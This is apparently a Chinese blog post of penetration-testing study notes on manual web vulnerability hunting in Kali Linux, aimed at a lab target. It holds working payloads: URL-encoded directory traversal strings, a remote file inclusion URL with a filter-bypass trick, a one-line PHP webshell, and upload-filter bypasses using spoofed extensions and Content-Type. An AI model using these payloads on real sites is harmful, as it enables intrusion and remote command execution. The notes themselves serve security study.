kali linux之手动漏洞挖掘二
漏洞挖掘原则/宗旨----所有变量,所有头(cookie中的变量),逐个变量删除
身份认证
常用若口令/基于字典的密码爆破/锁定帐号
信息收集(手机号,身份证,住址信息等等)
密码嗅探
会话sessionID
xss/cookie
sessionID in url
sessionID长期不变/永久不变
sessionID生成算法
sequencer
私有算法(不安全,可能被预判下一次登录时生成的id)
登出后返回测试
目录遍历/文件包含-----原因是目录权限限制不严
/etc/php5/cgi/php.ini
allow_url_include = On(应用程序功能操作文件,限制不严格导致访问web目录以外的文件,读,写文件,远程代码执行)
漏洞特征(不绝对)
?page=x.php
?home=x.html
?file=content
测试文件包含



编码绕过字符过滤,不同操作系统的路径特征字符---类uunix根目录为"/" 目录层级分隔符"/",windows为c:\,\或/
"." ,"%00",绕过文件扩展名过滤,或者使用多种编码尝试

编码-----burp--decoder模块
url编码,双层url编码
%2e%2e%2f 解码:../
%2e%2e%5c 解码:..\
%25%32%65%25%32%65%25%32%66 解码:../(双层编码)


远程文件包含还可以在本机写一个木马,让它远程包含

结尾不是.php也可以,拷贝到本机的web目录下

然后执行命令即可

查看源码,没做过滤,给它什么参数,就执行什么

这里代码过滤了http:// 和https:// 可以编码或者hthttptp://192.168.1.10/xx.txt?cmd=id来绕过

文件上传漏洞
直接上传webshell ------<?php echo shell_exec($_GET['cmd']);?>(没做过滤的前提可以直接上传.php文件)

执行命令

代码显示,upload,没做任何过滤

修改文件类型上传shell-----Mimetype(文件头,扩展名)
name="uploaded"; filename="xx.jpeg" (把文件扩展名修改)
Content-Type: image/jpeg(修改类型)

成功上传
这里代码虽然做了一些过滤,但是还是依然可以用burp更改文件名和扩展名还有更改数值大小来绕过过滤
虽然这里还是做了过滤,但是依然可以通过修改扩展名和类型来绕过
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);(读取扩展名判断)
$uploaded_size = $_FILES['uploaded']['size'];
(判断文件大小)
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){(做了三个过滤)

友情链接 http://www.cnblogs.com/klionsec
http://www.cnblogs.com/l0cm
http://www.cnblogs.com/Anonyaptxxx
http://www.feiyusafe.cn
kali linux之手动漏洞挖掘二的更多相关文章
- kali linux之手动漏洞挖掘三(sql注入)
服务器端程序将用户输入作为参数作为查询条件,直接拼写sql语句,并将结果返回给客户端浏览器 如判断登录 select * from users where user='uname' and passw ...
- kali linux之手动漏洞挖掘一
默认安装漏洞 phpmyadmin/setup默认安装 ubuntu/debian默认安装php5-cgi phpmyadmin/setup默认安装 使用?-d+allow_url_include%3 ...
- 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...
- 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含
手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...
- 小白日记35:kali渗透测试之Web渗透-手动漏洞挖掘(一)-默认安装引发的漏洞
手动漏洞挖掘 即扫描后,如何对发现的漏洞告警进行验证. #默认安装 流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格 ...
- 小白日记38:kali渗透测试之Web渗透-手动漏洞挖掘(四)-文件上传漏洞
手动漏洞挖掘 文件上传漏洞[经典漏洞,本身为一个功能,根源:对上传文件的过滤机制不严谨] <?php echo shell_exec($_GET['cmd']);?> 直接上传webshe ...
- 手动漏洞挖掘-SQL注入(安全牛笔记)
substring_index(USER(),"@",l)-- #是将查询出来的结果进行切分,以@符号的方式切分 ’ union select table_name,table_s ...
- Kali Linux 弱点分析工具全集
『弱点分析』与『信息收集』类工具的定位非常不同,其中包含大量的模糊测试工具.正确使用这些工具,将有助于我们发现可能存在的零日漏洞.同时此类工具中还包含了大量VoIP相关的渗透测试工具,这可能是安全人员 ...
- Kali Linux安全渗透-从入门到精通
Kali-Linux是基于Debian Linux发行版 针对高级渗透测试和安全审计系统.带你一起从入门到精通. 什么是Kali-Linux? kali 包含几百个软件用来执行各种信息安全的任务,如渗 ...
随机推荐
- spark集群配置以及java操作spark小demo
spark 安装 配置 使用java来操作spark spark 安装 tar -zxvf spark-2.4.0-bin-hadoop2.7.tgz rm spark-2.4.0-bin-hadoo ...
- leetcode796
public class Solution { public bool RotateString(string A, string B) { string temp = A; int len = A. ...
- Class.forName和ClassLoader.loadClass区别(转)
Java中class是如何加载到JVM中的:1.class加载到JVM中有三个步骤 装载:(loading)找到class对应的字节码文件. 连接:(linking)将对应的字节码文件读入 ...
- BP算法在minist数据集上的简单实现
BP算法在minist上的简单实现 数据:http://yann.lecun.com/exdb/mnist/ 参考:blog,blog2,blog3,tensorflow 推导:http://www. ...
- d3.js 清除svg
rave.select(el).html(''); // 不推荐rave.selectAll("svg > *").remove(); // 移除svg内部节点rave.se ...
- Solidity transfer vs send 区别
原文地址: https://ethereum.stackexchange.com/questions/19341/address-send-vs-address-transfer-best-pract ...
- solidity mapping of mapping
solidity mapping of mapping,两层映射,用的时候可以像二维数组一样去访问和修改值,非常方便. 以下代码示例中的这一句: mapping(string => mappin ...
- C/C++ 经典面试题汇总
面试题1:变量的声明和定义有什么区别 ? 为变量分配地址和存储空间的称为定义,不分配地址的称为声明.一个变量可以在多个地方声明,但是只在一个地方定义.加入extern修饰的是变量的声明,说明此变量将在 ...
- 5.WHERE 子句
WHERE 子句用于规定选择的标准. WHERE 子句 如需有条件地从表中选取数据,可将 WHERE 子句添加到 SELECT 语句. 语法 SELECT 列名称 FROM 表名称 WHERE 列 运 ...
- Python3 网络爬虫开发实战学习弱点书签
1. urllib.robotparse模块对robot.txt文件的解析,can_fetch()方法和parse()方法. Page121 2. lxml.etree模块自动补全Html代码,Htm ...